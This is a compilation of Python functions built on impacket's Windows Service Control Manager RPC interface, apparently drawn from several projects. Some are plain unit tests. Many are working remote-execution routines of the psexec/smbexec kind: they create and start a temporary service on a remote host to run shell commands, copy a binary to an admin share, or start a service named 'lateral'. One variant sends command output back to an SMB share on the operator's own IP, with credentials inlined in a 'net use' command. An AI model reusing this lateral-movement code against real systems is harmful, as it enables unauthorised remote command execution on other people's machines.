def test_RControlServiceCall(self): dce, rpctransport, scHandle = self.connect() lpServiceName = 'CryptSvc\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess ) resp.dump() serviceHandle = resp['lpServiceHandle'] try: req = scmr.RControlService() req['hService'] = serviceHandle req['dwControl'] = scmr.SERVICE_CONTROL_STOP dce.request(req) except Exception as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0: raise pass scmr.hRCloseServiceHandle(dce, serviceHandle) import time time.sleep(1) resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess ) resp.dump() serviceHandle = resp['lpServiceHandle'] try: resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL ) resp.dump() except Exception as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0: raise return
def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle']
def execute_remote(self, data): command = ( self.__shell + "echo " + data + " ^> " + self.__output + " 2^>^&1 > " + self.__batchFile + " & " + self.__shell + self.__batchFile ) if self.__mode == "SERVER": command += " & " + self.__copyBack command += " & " + "del " + self.__batchFile logging.debug("Executing %s" % command) resp = scmr.hRCreateServiceW( self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command ) service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def test_query(self): dce, rpctransport, scHandle = self.connect() ############################ # Query Service Status / Enum Dependent lpServiceName = 'PlugPlay\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess ) resp.dump() serviceHandle = resp['lpServiceHandle'] scmr.hRQueryServiceStatus(dce, serviceHandle) cbBufSize = 0 try: resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize ) resp.dump() except scmr.DCERPCSessionError as e: if str(e).find('ERROR_MORE_DATA') <= 0: raise else: resp = e.get_packet() resp.dump() cbBufSize = resp['pcbBytesNeeded'] resp = scmr.hREnumDependentServicesW(dce, serviceHandle, scmr.SERVICE_STATE_ALL,cbBufSize ) resp.dump() scmr.hRCloseServiceHandle(dce, serviceHandle) scmr.hRCloseServiceHandle(dce, scHandle)
def test_RQueryServiceLockStatusW(self): dce, rpctransport, scHandle = self.connect() pcbBytesNeeded = 1000 scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded) scmr.hRCloseServiceHandle(dce, scHandle)
def test_lock_unlock(self): dce, rpctransport, scHandle = self.connect() resp = scmr.hRLockServiceDatabase(dce, scHandle) lockHandle = resp['lpLock'] scmr.hRUnlockServiceDatabase(dce, lockHandle) scmr.hRCloseServiceHandle(dce, scHandle)
def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False
def test_RGetServiceKeyNameW(self): dce, rpctransport, scHandle = self.connect() lpDisplayName = 'Plug and Play\x00' lpcchBuffer = len(lpDisplayName)+100 scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer) scmr.hRCloseServiceHandle(dce, scHandle)
def test_enumservices(self): dce, rpctransport, scHandle = self.connect() ##################### # EnumServicesStatusW dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS dwServiceState = scmr.SERVICE_STATE_ALL scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState) scmr.hRCloseServiceHandle(dce, scHandle)
def test_query_set_object_security(self): dce, rpctransport, scHandle = self.connect() try: resp = scmr.hRQueryServiceObjectSecurity(dce, scHandle, scmr.DACL_SECURITY_INFORMATION, 0) resp.dump() except Exception as e: if str(e).find('rpc_s_access_denied') <= 0: raise scmr.hRCloseServiceHandle(dce, scHandle)
def atest_notify_config(self): dce, rpctransport, scHandle = self.connect() lpMachineName = 'DUMMY\x00' try: resp = scmr.hRNotifyBootConfigStatus(dce, lpMachineName, 0x0) resp.dump() except scmr.DCERPCSessionError as e: if str(e).find('ERROR_BOOT_ALREADY_ACCEPTED') <= 0: raise scmr.hRCloseServiceHandle(dce, scHandle)
def getServiceAccount(self, serviceName): try: # Open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) serviceHandle = ans['lpServiceHandle'] resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) account = resp['lpServiceConfig']['lpServiceStartName'][:-1] scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) if account.startswith('.\\'): account = account[2:] return account except Exception, e: logging.error(e) return None
def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service)
def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except: pass
def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except: pass
def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: #adding creds gets past systems disallowing guest-auth command = self.__shell + '"net use /p:no \\\\{}\\{} /user:{} {}" \n'.format( local_ip, self.__share_name, self.__username, self.__password) command += self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open((cfg.TMP_PATH / self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file({}) containing:\n{}'.format( str(cfg.TMP_PATH / self.__batchFile), command)) command = self.__shell + '\\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__batchFile) #adding creds gets past systems disallowing guest-auth command = self.__shell + '"net use \\\\{}\\{} /p:no /user:{} {} & {} "'.format( local_ip, self.__share_name, self.__username, self.__password, command) logging.debug('Command to execute: ' + command) logging.debug('Remote service {} created.'.format(self.__serviceName)) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: logging.debug('Remote service {} started.'.format( self.__serviceName)) scmr.hRStartServiceW(self.__scmr, service) except: pass logging.debug('Remote service {} deleted.'.format(self.__serviceName)) scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def test_RStartServiceW(self): dce, rpctransport, scHandle = self.connect() lpServiceName = 'PlugPlay\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess ) resp.dump() serviceHandle = resp['lpServiceHandle'] try: scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\x00', 'arg2\x00', 'arg3\x00'] ) except Exception as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0: raise scmr.hRCloseServiceHandle(dce, scHandle)
def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def test_RQueryServiceLockStatusW(self): dce, rpctransport, scHandle = self.connect() pcbBytesNeeded = 1000 resp = scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded) resp = scmr.hRCloseServiceHandle(dce, scHandle)
def start_rrp_service(self, dce, sc_handle): desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, sc_handle, 'RemoteRegistry\x00', desiredAccess) serviceHandle = resp['lpServiceHandle'] try: scmr.hRStartServiceW(dce, serviceHandle) except Exception as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0: pass else: raise scmr.hRCloseServiceHandle(dce, sc_handle) self.rrp_started = True
def create_service(self, name, display_name, cmdline, *, start=True): if self._svcmgr is None: raise RuntimeError("ServiceManager must be open() first") svc_handle = None try: # try to open existing service first try: resp = impkt_scmr.hROpenServiceW(self._rpcsvcctl, self._svcmgr, name + "\x00") svc_handle = resp["lpServiceHandle"] except Exception as exc: svc_handle = None if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") >= 0: pass else: raise # create service if needed if svc_handle is None: resp = impkt_scmr.hRCreateServiceW( self._rpcsvcctl, self._svcmgr, name + "\x00", display_name + "\x00", lpBinaryPathName=cmdline + "\x00", dwStartType=impkt_scmr.SERVICE_DEMAND_START) svc_handle = resp["lpServiceHandle"] assert svc_handle is not None # start service try: impkt_scmr.hRStartServiceW(self._rpcsvcctl, svc_handle) except Exception as exc: if str(exc).find("ERROR_SERVICE_ALREADY_RUNNING") < 0: raise finally: if svc_handle is not None: with contextlib.suppress(Exception): impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl, svc_handle) svc_handle = None
def test_lock_unlock(self): dce, rpctransport, scHandle = self.connect() resp = scmr.hRLockServiceDatabase(dce, scHandle) lockHandle = resp['lpLock'] resp = scmr.hRUnlockServiceDatabase(dce, lockHandle) resp = scmr.hRCloseServiceHandle(dce, scHandle)
def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name + '\x00') service = resp['lpServiceHandle'] print '[*] Stoping service %s.....' % self.__service_name try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass print '[*] Removing service %s.....' % self.__service_name scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) print '[*] Removing file %s.....' % self.__binary_service_name self.connection.deleteFile(self.share, self.__binary_service_name) except Exception, e: print "[!] Error performing the uninstallation, cleaning up" try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
def test_RGetServiceKeyNameW(self): dce, rpctransport, scHandle = self.connect() lpDisplayName = 'Plug and Play\x00' lpcchBuffer = len(lpDisplayName)+100 resp = scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer) resp = scmr.hRCloseServiceHandle(dce, scHandle)
def destroy(self): if not self._serviceHandle: raise ShellServiceIsNotExists() try: scmr.hRControlService(self._scmr, self._serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception, e: try: scmr.hRDeleteService(self._scmr, self._serviceHandle) finally: scmr.hRCloseServiceHandle(self._scmr, self._serviceHandle) self._serviceHandle = None if hasattr(e, 'error_code') and e.error_code == ERROR_SERVICE_NOT_ACTIVE: pass else: raise
def te_REnumServiceGroupW(self): dce, rpctransport, scHandle = self.connect() dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS dwServiceState = scmr.SERVICE_STATE_ALL cbBufSize = 10 lpResumeIndex = 0 pszGroupName = 'RemoteRegistry\x00' try: resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName ) resp.dump() except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0: raise scmr.hRCloseServiceHandle(dce, scHandle)
def check_admin(self): try: self.__trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename='svcctl', smb_connection=self.smb, remote_host=self.__dstip) self.__trans.connect() self.__dce = self.__trans.get_dce_rpc() self.__dce.bind(scmr.MSRPC_UUID_SCMR) self.__resp = scmr.hROpenSCManagerW( self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE) self.__mgr_handle = self.__resp['lpScHandle'] scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle) self.__dce.disconnect() return True except rpcrt.DCERPCException, e: pass
def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string() self.__batchFile = gen_random_string(6) + '.bat' if self.__retOutput: command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile else: command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile """ if self.__retOutput: # TODO command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) else: command = self.__shell + data """ #logging.debug('Hosting batch file with command: ' + command) # TODO #command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) #logging.debug('Command to execute: ' + command) #logging.debug('Remote service {} created.'.format(self.__serviceName)) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: #logging.debug('Remote service {} started.'.format(self.__serviceName)) scmr.hRStartServiceW(self.__scmr, service) except: pass #logging.debug('Remote service {} deleted.'.format(self.__serviceName)) scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def start_service(target): username, password, domain, nthash = target.creds lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee" aesKey = None remoteName = target.target_ip remoteHost = target.target_ip stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(target.target_port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey) rpctransport.set_kerberos(False, None) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) rpc = dce #print("[*] creating") ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] try: scmr.hRCreateServiceW(rpc, scManagerHandle, "lateral" + '\x00', "Lateral" + '\x00', lpBinaryPathName='lateral.exe\x00') except Exception as e: print(str(e)) #print("[*] starting") ans = scmr.hROpenServiceW(rpc, scManagerHandle, "lateral" + '\x00') serviceHandle = ans['lpServiceHandle'] try: scmr.hRStartServiceW(rpc, serviceHandle) except: pass scmr.hRCloseServiceHandle(rpc, serviceHandle)
def test_enumservices(self): dce, rpctransport, scHandle = self.connect() ##################### # EnumServicesStatusW dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS dwServiceState = scmr.SERVICE_STATE_ALL cbBufSize = 0 resp = scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState) resp = scmr.hRCloseServiceHandle(dce, scHandle)
def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00') service = resp['lpServiceHandle'] LOG.info('Stoping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up" ) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) command = self.__shell + '\\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) logging.debug('Remote service {} created.'.format(self.__serviceName)) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: logging.debug('Remote service {} started.'.format( self.__serviceName)) scmr.hRStartServiceW(self.__scmr, service) except: pass logging.debug('Remote service {} deleted.'.format(self.__serviceName)) scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svcHandle = None try: print("Opening SVCManager on %s....." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception as e: print("ServiceExec Error on: %s" % conn.get_remote_host()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect()
def close(self): if self._svcmgr is not None: if self._rpcsvcctl is not None: with contextlib.suppress(Exception): impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl, self._svcmgr) self._svcmgr = None if self._rpcsvcctl is not None: with contextlib.suppress(Exception): self._rpcsvcctl.disconnect() self._rpcsvcctl = None if self._smbtransport is not None: with contextlib.suppress(Exception): self._smbtransport.disconnect() self._smbtransport = None if self._smbconn is not None: with contextlib.suppress(Exception): self._smbconn.close() self._smbconn = None
def execute_remote(self, data): if self.__noOutput is False: command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack else: command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile logging.info('Command in batch file: {}'.format(command)) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def __smb_exec(self, command): self.__smb_connect() rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\svcctl]') rpc.set_smb_connection(self.__smb_connection) h_scmr = rpc.get_dce_rpc() h_scmr.connect() h_scmr.bind(scmr.MSRPC_UUID_SCMR) h_scmanager = scmr.hROpenSCManagerW(h_scmr)['lpScHandle'] # Ensure we use a unique service name tmp_svc_name = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) logging.debug('Creating service %s', tmp_svc_name) resp = scmr.hRCreateServiceW(h_scmr, h_scmanager, tmp_svc_name, tmp_svc_name, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(h_scmr, service) except Exception: pass logging.debug('Deleting service %s', tmp_svc_name) scmr.hRDeleteService(h_scmr, service) scmr.hRCloseServiceHandle(h_scmr, service) h_scmr.disconnect()
def __createService(self): self.__log__(logging.DEBUG, 'Creating service') try: resp = scmr.hROpenServiceW( self.__dcerpc, self.__SVCManager, RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00') self.__log__(logging.WARNING, 'Service already exists, renewing it') try: scmr.hRControlService(self.__dcerpc, resp['lpServiceHandle'], scmr.SERVICE_CONTROL_STOP) time.sleep(1) except: pass scmr.hRDeleteService(self.__dcerpc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.__dcerpc, resp['lpServiceHandle']) except: pass resp = scmr.hRCreateServiceW( self.__dcerpc, self.__SVCManager, RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00', RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00', lpBinaryPathName=self.__getWritableUNCPath() + '\\' + RemoteCmd.REMCOMSVC_REMOTE + '\x00', dwStartType=scmr.SERVICE_DEMAND_START, ) resp = scmr.hROpenServiceW(self.__dcerpc, self.__SVCManager, RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00') self.__service = resp['lpServiceHandle'] self.__pendingCleanupActions.append((self.__deleteService, 3)) return
def delete_service(self, name): if self._svcmgr is None: raise RuntimeError("ServiceManager must be open() first") svc_handle = None try: try: resp = impkt_scmr.hROpenServiceW(self._rpcsvcctl, self._svcmgr, name + "\x00") svc_handle = resp["lpServiceHandle"] except Exception as exc: if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") >= 0: return else: raise try: impkt_scmr.hRControlService(self._rpcsvcctl, svc_handle, impkt_scmr.SERVICE_CONTROL_STOP) except Exception as exc: if str(exc).find("ERROR_SERVICE_NOT_ACTIVE") < 0: logger.info( f'failed to STOP remote service "{name}": {exc}') # time.sleep(2.0) # TODO: poll service status try: impkt_scmr.hRDeleteService(self._rpcsvcctl, svc_handle) except Exception as exc: if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") < 0: raise finally: if svc_handle is not None: with contextlib.suppress(Exception): impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl, svc_handle) svc_handle = None
